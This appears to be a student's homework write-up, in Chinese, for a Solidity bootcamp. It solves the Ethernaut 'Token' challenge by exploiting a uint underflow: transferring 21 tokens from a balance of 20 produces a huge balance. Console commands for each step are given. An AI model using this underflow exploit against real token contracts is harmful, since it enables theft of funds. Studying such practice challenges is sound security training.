---
# System prepended metadata

title: Ryan 第八週作業
tags: [Solidity 工程師實戰營第 5 期]

---

# Ryan 第八週作業

## [Ethernaut](https://ethernaut.openzeppelin.com/) 挑選一題

Token

![](https://i.imgur.com/qiarMN2.png)

題目講解

![](https://i.imgur.com/NMaR2Pw.png)

先取得實例地址 Get new instance

console 輸入 instance 可以得到實例地址
![](https://i.imgur.com/4qSZgY4.png)


實例地址 : 0x66266994dB0B60D0cEcEa0dE26cB794F58a9562C

### 檢查漏洞
由於balances[msg.sender]跟_value的型態都是uint
uint代表了unsigned integers，即無負數整數
所以balances[msg.sender] – _value永遠不會少於零
當轉21的時候會發生溢位，導致數值變大，數值為2^256 - 1

### 開始實作
console 輸入 player 查詢玩家地址
![](https://i.imgur.com/Li1jUjY.png)

console 輸入 await contract.balanceOf(player)
查詢目前餘額 有20個代幣
![](https://i.imgur.com/fm4TPaI.png)

console 輸入 level 查詢level地址
![](https://i.imgur.com/9G0SMp2.png)

console 輸入 await contract.transfer(level, 21) 轉21個代幣給level地址
![](https://i.imgur.com/6EDaTIY.png)

console 輸入 輸入 await contract.balanceOf(player)
查詢目前餘額 發現餘額數量非常多
![](https://i.imgur.com/ewYEA0n.png)

點擊 Submit instance 送出
完成會出現以下訊息
![](https://i.imgur.com/PKX6Ktx.png)

###### tags: `Solidity 工程師實戰營第 5 期`









